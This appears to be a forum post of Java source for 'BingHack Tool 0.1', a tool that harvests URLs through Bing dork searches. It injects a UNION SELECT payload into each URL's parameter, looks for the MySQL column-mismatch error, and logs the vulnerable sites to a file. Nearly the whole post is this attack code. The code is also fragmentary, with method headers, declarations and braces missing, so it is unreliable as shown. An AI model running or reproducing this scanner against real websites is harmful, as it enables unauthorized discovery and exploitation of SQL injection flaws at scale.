Código
// //BingHack Tool 0.1 //Coded By Doddy H // import java.util.Scanner; import java.io.*; import java.net.*; import java.util.regex.Matcher; import java.util.regex.Pattern; public class Main { String code; String tar; int x; String dork; int counte; String urlfinal; Pattern uno = null; Matcher dos = null; dork = host.nextLine(); counte = host.nextInt(); for (x = 10; x <= counte; x = x + 10) { code = toma("http://www.bing.com/search?q=" + dork + "&first=" + x); uno = Pattern.compile("<h3><a href=\"(.*?)\""); dos = uno.matcher(code); while (dos.find()) { urlfinal = cortar(dos.group(1)); sql(urlfinal); } } } writer.write(texto + "\r\n"); writer.close(); } String code; String mostrar; Pattern uno = null; Matcher dos = null; mostrar = urla + "-1+union+select+666--"; try { code = toma(mostrar); uno = Pattern.compile("The used SELECT statements have a different number of columns"); dos = uno.matcher(code); if (dos.find()) { savefile("sql-logs.txt", urla); } } } Pattern uno = null; Matcher dos = null; uno = Pattern.compile("(.*)=(.*)"); dos = uno.matcher(urla); if (dos.find()) { return (dos.group(1) + "="); } else { return "no tengo idea xDD"; } } String re; hc.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"); while ((re = nave.readLine()) != null) { conte.append(re); } nave.close(); return conte.toString(); } } //The End ?